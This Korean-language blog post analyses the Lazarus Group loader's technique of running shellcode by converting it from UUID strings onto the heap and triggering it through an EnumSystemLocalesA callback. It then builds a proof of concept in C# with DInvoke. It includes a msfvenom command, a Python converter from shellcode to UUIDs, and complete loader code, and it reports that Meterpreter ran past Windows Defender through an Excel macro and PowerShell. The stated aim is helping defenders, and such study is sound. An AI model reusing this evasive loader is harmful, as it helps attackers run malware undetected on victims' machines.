[KOR] 라자루스 그룹의 Loader 분석과 PoC 제작

들어가기 앞서

이 글은 제가 다른 블로그 글들을 읽으면서 배운 것을 개인적으로 정리해놓은 글입니다. 이 글에 있는 모든 내용 및 코드는 이미 다른 사람들이 공개적으로 발표한 것들이며, 실제 상황에 쓰이기에 부족한 퀄리티의 개념 증명 (PoC)입니다. 글의 핵심 내용인 UUID Shellcode Execution은 NCCGroup의 RIFT 팀과 Jeff White의 글 내용을 바탕으로 쓰여졌습니다. PoC를 만들때 사용되는 Dynamic Invoke는 theWover 와 FuzzySecurity (Ruben Boonen)가 만들고 발표한 기술입니다. 저도 100% 다 이해하고 있는 기술이 아니니 정확한 정보를 위해서는 theWover의 글을 확인해주세요.

요약 & 목적

이 글에서는 2021년 1월 21일에 발견된 라자루스 그룹 (Lazarus Group)의 로더(Loader)가 사용하는 UUID Shellcode Execution 기술에 대해서 알아본 뒤, 관련 PoC를 C#과 DInvoke를 이용해 제작해본다. 이 로더는 Check Point Research가 발견했으며, 현재 라자루스 그룹의 오퍼레이션 In(ter)ception에 사용되고 있다고 추측된다. 이 로더에 대해 분석을 진행한 NCCGroup의 RIFT (Research and Intelligence Fusion Team)는 로더가 쉘코드 실행에 있어 생소한 HeapCreate, HeapAlloc, UUIDFromStringA, EnumSystemLocalesA 등의 윈도우 API를 사용하고 있다고 분석했다. 쉘코드 실행에 자주 쓰이는 NtQueueAPCThread, SetThreadContext, WriteProcessMemory, VirtualAllocEx, CreateRemoteThread와 같은 함수들이 사용되지 않았고, 개인적으로 처음보는 기술이였기 때문에, 이에 대해 공부해봤다.

이 글의 목적은 현재 라자루스 그룹의 새로운 로더가 어떻게 쉘코드를 실행하는지에 대해 분석하고 공부한 뒤, 관련된 PoC를 만들며 해당 기술을 이해하는 것이다. 궁극적으로 현재 라자루스 그룹의 오퍼레이션에 영향을 받고 있는 방어자들이 더 효과적으로 로더를 탐지하고 삭제할 수 있도록 도움이 되었으면 한다.

UUID Shellcode Execution

PoC 제작에 앞서 라자루스 그룹의 로더가 어떻게 UUID 문자열을 이용해 쉘코드를 힙(Heap)에서 실행할 수 있는지 알아본다. 참고로 이 기술에 관련된 내용은 앞서 적은 NCCGroup RIFTJeff White의 글 내용을 바탕으로 적은 것이다.  

기본적인 쉘코드 실행은 대부분 다음과 같은 방법으로 진행된다.

  1. 로컬, 혹은 원격 프로세스에 핸들을 얻음
  2. 핸들을 가지고 대상 프로세스에 새로운 메모리를 할당함
  3. 새롭게 할당된 메모리에 쉘코드를 옮김
  4. 다양한 방법으로 옮겨진 쉘코드를 실행

UUID 쉘코드 실행도 위와 같은 방법을 따르긴 하지만, 좀 생소한 윈도우 API를 이용한다. UUID 쉘코드 실행은 다음과 같이 이뤄진다.

  1. 로컬 프로세스에 힙 오브젝트 생성
  2. 힙 오브젝트를 이용해 특정 사이즈의 메모리 할당
  3. UUIDFromStringA 함수를 이용해 UUID 문자열 배열을 차례대로 바이너리 (Binary) 형태로 바꿔 힙에 저장함. 이때 이 바이너리 형태의 데이터가 쉘코드가 됨.
  4. 저장해놓은 쉘코드를 가르키는 포인터를 콜백(callback) 함수로 지정해EnumSystemLocalesA 함수의 파라미터 중 하나로 넘겨줌

여기서 눈여겨 봐야 할 단계는 바로 #4번이다. 콜백 함수는 B라는 함수의 파라미터로 A라는 함수를 넘겨주면서 사용할 수 있다. B 함수가 실행될때 특정 조건이나 이벤트 발생 시 실행되는 함수 A가 바로 콜백 함수다. 콜백 함수에 관련된 정보를 찾다가 재미있는 비유를 찾아서 소개해본다.

콜백 함수의 동작 방식은 일종의 식당 자리 예약과 같습니다. 일반적으로 맛집을 가면 사람이 많아 자리가 없습니다. 그래서 대기자 명단에 이름을 쓴 다음에 자리가 날 때까지 주변 식당을 돌아다니죠. 만약 식당에서 자리가 생기면 전화로 자리가 났다고 연락이 옵니다. 그 전화를 받는 시점이 여기서의 콜백 함수가 호출되는 시점과 같습니다. 손님 입장에서는 자리가 날 때까지 식당에서 기다리지 않고 근처 가게에서 잠깐 쇼핑을 할 수도 있고 아니면 다른 식당 자리를 알아볼 수도 있습니다.

출처 - (https://joshua1988.github.io/web-development/javascript/javascript-asynchronous-operation/) - joshua1988

콜백 함수가 어떻게 쉘코드 실행과 관련 있는지 더 자세히 알아보기 위해서 EnumSystemLocalesA 함수를 분석한다.

BOOL EnumSystemLocalesA(
	LOCALE_ENUMPROCA lpLocaleEnumProc,
	DWORD            dwFlags
);

EnumSystemLocalesA 함수는 운영체제에 설치되어 있거나 지원되는 시스템 로케일 (나라마다 다른 언어/시간표시법 등)에 관련된 내용을 수집하는 함수다. 로케일 정보가 수집된 후, 함수의 첫번째 파라미터인 lpLocalEnumProc 이라는 콜백 함수에 관련 정보를 넘겨준다. 이후 lpLocalEnumProc 콜백 함수는 그 로케일 정보에 관련된 처리를 하면 된다. 이때 우리는 콜백 함수 대신 쉘코드를 가르키는 포인터를 lpLocalEnumProc 대신 넘겨줄 것이다. 즉, EnumSystemLocalesA 가 로케일 정보를 수집한 후, 관련 정보를 처리할 lpLocalEnumProc 콜백 함수를 실행하면, 콜백 함수 대신 쉘코드가 실행된다.

Shellcode UUID Conversion

힙에 메모리를 할당하고 그냥 쉘코드를 집어넣을 수도 있지만, 라자루스 그룹의 로더는 UUID를 바이너리 형태로 전환해 힙에 저장한다. UUID는 Universal Unique Identifier의 약자로, 유일한 정보 (컴퓨터 디바이스의 ID 등)을 식별하기 위한 128 비트의 문자열이다. 정보의 주민등록번호 같은 개념이라고 보면 된다.

UuidFromStringA를 사용해 UUID 문자열을 바이너리 형태로 힙 메모리에 넣는 방식은 독특할 뿐만 아니라 AV/EDR 솔루션들이 눈여겨보고 있는 WriteProcessMemory, RtlMoveMemory 등의 뻔한 윈도우 API를 사용하지 않기 때문에 방어 회피에도 유용하다. 또한, 쉘코드 자체도 암호화된 바이너리 형태거나 일반적인 바이트 형태가 아닌 UUID 문자열 형태("e48148fc-fff0-ffff-e8d0-000000415141")로 저장되어 있기 때문에 AV/EDR이 잡아낼 확률이 낮아진다.

실습을 위해 먼저 msfvenom을 이용해 MessageBox 페이로드를 만든다.

msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="hello world" -f python

그 뒤, 내가 만든 허접한 파이썬 스크립트를 사용해 MessageBox 페이로드를 UUID 문자열로 바꿔준다. 참고로 아래의 스크립트를 사용할 때 꼭 MessageBox 페이로드를 복사/붙여넣기 해줘야한다.

def convertToUUID(shellcode):
	# If shellcode is not in multiples of 16, then add some nullbytes at the end
	if len(shellcode) % 16 != 0:
		print("[-] Shellcode's length not multiplies of 16 bytes")
		print("[-] Adding nullbytes at the end of shellcode, this might break your shellcode.")
		print("\n[*] Modified shellcode length: ", len(shellcode)+(16-(len(shellcode)%16)))
		
		addNullbyte =  b"\x00" * (16-(len(shellcode)%16))
		shellcode += addNullbyte 

	uuids = []
	for i in range(0, len(shellcode), 16):
		uuidString = str(uuid.UUID(bytes_le=shellcode[i:i+16]))
		uuids.append('"'+uuidString+'"')

	return uuids

def main():
	# Copy/Paste the MessageBox payload here 

	uuids = convertToUUID(buf)
	print(*uuids, sep=",\n")

main()

스크립트를 만들 때 중요한 포인트는 바로 UUID 문자열이 128 비트, 16 바이트라는 점이다. 실행하고자 하는 쉘코드의 길이가 16의 배수가 아닌 경우 UUID 문자열로 치환이 불가능하다. 따라서 16의 배수가 아니라면 쉘코드의 뒤에다가 널 바이트 (Nullbyte, \x00)을 더 붙여줘야한다. 예를 들어 우리가 만든 MessageBox 쉘코드는 290바이트였고, 16의 배수로 만들어주기 위해 14바이트를 더해 304바이트 (16*19=304)로 만들어야한다.

스크립트를 실행하면 쉘코드를 UUID 문자열로 바꿔준다.

UUID 문자열로 치환된 쉘코드

UUID 문자열로 바뀐 쉘코드가 준비되었으니 실제로 PoC를 제작해본다.

C#과 DInvoke를 사용한 PoC

이미 RIFT가 C로 PoC를 제작했기 때문에, 이 글에서는 C#과 DInvoke를 사용해 PoC를 제작할 것이다. .NET 프레임워크 4.0과 DInvoke Nuget 패키지를 사용한다.

최종 PoC를 위해서는 다음의 깃허브 링크를 참고하면 된다. (https://github.com/ChoiSG/UuidShellcodeExec)

PoC 코드를 작성하기 전에 위에서 만들어놓은 UUID 문자열을 복사/붙여넣기 해준다.

string[] uuids = {
    "e48348fc-e8f0-00cc-0000-415141505251",
    "d2314856-4865-528b-6048-8b5218488b52",
    "728b4820-4850-b70f-4a4a-4d31c94831c0",
    … SNIP … 
};

그 뒤 DInvoke에 사용될 Delegate (대리자) 들을 만들어준다.

public class DELEGATE
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    public delegate IntPtr HeapCreate(uint flOptions, UIntPtr dwInitialSize, UIntPtr dwMaximumSize);

    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    public delegate IntPtr HeapAlloc(IntPtr hHeap, uint dwFlags, uint dwBytes);

    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    public delegate IntPtr UuidFromStringA(string StringUuid, IntPtr heapPointer);

    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    public delegate bool EnumSystemLocalesA(IntPtr lpLocaleEnumProc, int dwFlags);
}

DInvoke를 이용해 PEB (Process Environmental Block) 에서 kernel32.dll (HeapCreate, HeapAlloc, EnumSystemLocalesA) 과 rpcrt4.dll (UuidFromStringA) 을 찾은 뒤, 해당 DLL들을 가르키는 포인터를 얻어낸다. 그 뒤 사용할 윈도우 API들을 가르키는 함수 포인터를 만든다.

// Get pointer to DLLs from PEB 
IntPtr pkernel32 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("kernel32.dll");
IntPtr prpcrt4 = DInvoke.DynamicInvoke.Generic.GetPebLdrModuleEntry("rpcrt4.dll"); 

// Function pointers for winapi calls 
IntPtr pHeapCreate = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "HeapCreate");
IntPtr pHeapAlloc = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "HeapCreate");
IntPtr pEnumSystemLocalesA = DInvoke.DynamicInvoke.Generic.GetExportAddress(pkernel32, "EnumSystemLocalesA");
IntPtr pUuidFromStringA = DInvoke.DynamicInvoke.Generic.GetExportAddress(prpcrt4, "UuidFromStringA");

준비 단계가 끝났다면 힙 오브젝트를 생성한 뒤 메모리를 할당한다.

object[] heapCreateParam = { (uint)0x00040000, UIntPtr.Zero, UIntPtr.Zero };
var heapHandle = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pHeapCreate, typeof(DELEGATE.HeapCreate), ref heapCreateParam);

object[] heapAllocParam = { heapHandle, (uint)0, (uint)0x100000 };
var heapAddr = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pHeapAlloc, typeof(DELEGATE.HeapAlloc), ref heapAllocParam);

힙에 메모리가 할당됐다면 쉘코드를 힙으로 옮긴다. 위에서 설명했던 UuidFromString 함수를 이용해 UUID 문자열 16바이트를 차례대로 옮기면 된다.

IntPtr newHeapAddr = IntPtr.Zero;
for (int i = 0; i < uuids.Length; i++)
{

    newHeapAddr = IntPtr.Add(heapAddr, 16 * i);
    object[] uuidFromStringAParam = { uuids[i], newHeapAddr };
    var status = (IntPtr)DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pUuidFromStringA, typeof(DELEGATE.UuidFromStringA), ref uuidFromStringAParam);
    
}

쉘코드를 힙으로 옮겼다면, 이제 실행할 일만 남았다. 힙의 시작 지점을 가르키는 포인터(heapAddr)를 EnumSystemLocalesA 함수의 파라미터로 넘겨주면 된다.

object[] enumSystemLocalesAParam = { heapAddr, 0 };
var result = DInvoke.DynamicInvoke.Generic.DynamicFunctionInvoke(pEnumSystemLocalesA, typeof(DELEGATE.EnumSystemLocalesA), ref enumSystemLocalesAParam);

PoC - MessageBox

제작한 PoC를 실행하면 다음과 같은 메시지 박스가 나온다.

그리고 디버그 메시지에 나와있는 0x1be00000 메모리주소로 가면 힙 메모리에 저장되어 있는 메시지 박스 쉘코드를 찾을 수 있다.

0x1be00000 힙 주소에 저장되어 있는 메시지박스 쉘코드

PoC - Meterpreter

메시지 박스도 좋지만, 좀 더 현실적인 PoC를 위해 미터프리터 (Meterpreter) 쉘코드를 사용해보자. 위에서 만든 PoC는 .NET 프레임워크로 만들었기 때문에 파워쉘이나 VBScript를 이용해 인-메모리 실행도 가능하다. 아니면 .HTA 파일을 만들어 실행할 수도 있다. 물론 자세한 내용은 악용될 여지가 있으니 이 글에서는 생략한다.

간단한 파워쉘 명령어나 VBScript 등을 이용해 엑셀 파일의 매크로 등에 만든 PoC를 심을 수도 있다. 확인한 결과, 풀-패치 된 윈도우 10 버전 2004 (2020년 6월 배포)에서 윈도우 디펜더를 우회하며 미터프리터가 성공적으로 실행됐다.

간단한 VBScript 매크로가 삽입된 엑셀 파일 실행 결과
간단한 파워쉘 명령어 실행 결과

마치며

이 글에서는 라자루스 그룹이 최근 만들어낸 로더에서 사용되는 UUID 쉘코드 실행 방법을 분석해보고, 관련된 PoC를 C#과 DInvoke를 이용해 만들어봤다. UUId 쉘코드 실행 기법은 우리가 흔히 알고 있는 OpenProcess, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx, CreateRemoteThread/NtQueueAPCThread/SetThreadContext 등의 윈도우 API가 아닌, 생소한 UuidFromStringAEnumLocalesSystemA 등을 사용한다는 점에서 흥미로웠다. 공격자들은 이처럼 매일 새로운 기술, 혹은 너무 오래되어 다들 까먹어 버린 기술들을 실제 공격에 사용하고 있다. 방어자들 또한 관련 기술들에 대해 꾸준히 공부하고 분석해야할 것이다.   이 글이 현재 라자루스 그룹의 오퍼레이션 In(ter)ception에 영향받고 있는 방어자들에게 도움이 되었으면 하며 글을 마친다.

Happy Hacking! (and stay safe)

References

https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

http://ropgadget.com/posts/abusing_win_functions.html

https://thewover.github.io/Dynamic-Invoke/

https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidfromstringa

https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-en umsystemlocalesa https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/dd317822(v=vs.85)